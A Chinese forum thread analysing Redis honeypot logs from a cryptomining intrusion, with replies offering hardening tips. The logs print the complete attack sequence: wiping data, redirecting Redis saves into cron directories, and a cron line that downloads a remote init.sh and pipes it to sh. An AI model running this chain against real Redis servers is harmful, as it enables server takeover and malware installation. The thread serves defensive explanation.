nsnake 发表于 2021-3-16 16:24

Linux下通过redis漏洞植入病毒的流程

本帖最后由 nsnake 于 2021-3-17 15:59 编辑

经常看到有人在linux下被植入挖矿病毒,而植入病毒的方式多种多样,但通过redis漏洞的方式却是经常见到的,根本原因是系统管理者的安全意识匮乏。

正好最近比较好奇,于是安装了一个redis蜜罐的捕获来展示如何通过漏洞来植入病毒。

话不多说,先上日志,咱们在来一步步分析。

```
{ "src_ip": "8.136.106.190", "command": "config set stop-writes-on-bgsave-error no", "dst_port":6379}
{ "src_ip": "8.136.106.190", "command": "flushall", "dst_port": 6379}
{ "src_ip": "8.136.106.190", "command": "config set dbfilename web", "dst_port": 6379}
{ "src_ip": "8.136.106.190", "command": "set 1 \n\n*/1 * * * * cdt -fsSL http://helpdeskserver.epelcdn.com/dd210131/init.sh |sh\n\n", "dst_port": 6379}
{ "src_ip": "8.136.106.190", "command": "config set dir /var/spool/cron", "dst_port": 6379}
{"src_ip": "8.136.106.190", "command": "save", "dst_port": 6379}
{ "src_ip": "8.136.106.190", "command": "config set dir /var/spool/cron/crontabs", "dst_port": 6379}
{"src_ip": "8.136.106.190", "command": "save", "dst_port": 6379}
{ "src_ip": "8.136.106.190", "command": "config set dir /etc/cron.d", "dst_port": 6379}
{ "src_ip": "8.136.106.190", "command": "save", "dst_port": 6379}
{ "src_ip": "8.136.106.190", "command": "config set stop-writes-on-bgsave-error yes", "dst_port": 6379}
```

原始日志比这个更多,但这里的片段足够展示整个攻击流程。因为有些人可能对redis命令不熟悉,以下我将逐步的讲解以下流程

- 前三部流程为先关闭redis的备份的功能并清除掉所有的数据,最后设置好定时任务的文件名
- 然后就到了最核心的部分了
```
set 1 \n\n*/1 * * * * cdt -fsSL http://helpdeskserver.epelcdn.com/dd210131/init.sh |sh\n\n
```
这里设置了一个计划任务的内容,目的就是从远程的服务器下载一个植入病毒的脚本(http://helpdeskserver.epelcdn.com/dd210131/init.sh)。注意这里虽然是一行,但事实上执行的时候其实是2行。现在光到这里是没用的,因为现在这些数据还都保存在内存中,cron是没法执行的。

- 剩下的步骤就是设置计划任务脚本写入的目录并且恢复redis的备份。

当以上操作都完成的时候,redis在触发备份机制后就会开始往上面设置好的目录写入计划任务的脚本
而计划任务会在每分钟都去执行一次这个脚本并且触发下载病毒的机制。然后你的机器CPU就会开始飙涨了。

如果大家有兴趣可以下载看下init.sh这个脚本,里面有剩余安装病毒的全过程,并且还有狗咬狗的去删除自己的竞争对手的机制。


总结:
其实这个漏洞很封堵很简单,只要执行redis的用户没有权限往/var/spool下的目录能写入就能防止入侵。但由于很多人安装redis的时候都是从网上找了文章,启动的时候往往就是root用户直接执行,这样redis也就具有了root用户的权限。



更新:
看了下面大家的评论,很多意见都是很中肯,比如加密码,不开放端口等等,说白了就是运维的人员需要具备安全意识。
比如开放端口,通常情况我们不会开放公网端口,但不可能一直都是单机模式,内网端口总得开放的吧,如果其它机器中了病毒,一样会在内网扫描的。
redis加用户名和密码也是一种方式,但太弱的一样会被扫。
安全没有绝对,攻防也一直都是此消彼长。

yuechenxing 发表于 2021-3-16 16:58

确实很多人都是root运行的, 其实增加一个nologin用户 useradd -M -s /bin/nologin redis-server , 编写service文件,限定执行User=redis-server,能很大提高安全性。正常来说,服务器的root用户应该禁止远程登陆或者直接禁止登陆,另外新建一个用户,给sudo权限。或者root不禁用,但是通过pam控制重试次数,用来触发攻击报警。甚至做个假的3306,6379监听,放个烟雾弹,顺便记录登陆的用户ip。{:1_918:}

jobinLi 发表于 2021-3-16 16:41

赞!其实如果非必要就不要开放端口就能避免99%的攻击

finky 发表于 2021-3-16 16:53

jobinLi 发表于 2021-3-16 16:41
赞!其实如果非必要就不要开放端口就能避免99%的攻击

正解,防火墙这些才是关键所在

154675361 发表于 2021-3-16 17:45

公网redis未授权、弱口令一抓一大把

冷月暗雾飞扬 发表于 2021-3-16 18:21

来崤习了!!

学习破 发表于 2021-3-16 19:13

来学习的,表示不是很懂

weiyinan0617 发表于 2021-3-16 19:14

进来观摩一下

兮若求 发表于 2021-3-16 20:27

本人刚入门这方面的知识,简单分析就是不要开放比较多漏洞的端口,除非要用时打开,可以劝退大部分入侵者。

bigcan 发表于 2021-3-16 20:35

只开22、80、443三个端口,其它的全部关掉
页: [1] 2 3 4 5
查看完整版本: Linux下通过redis漏洞植入病毒的流程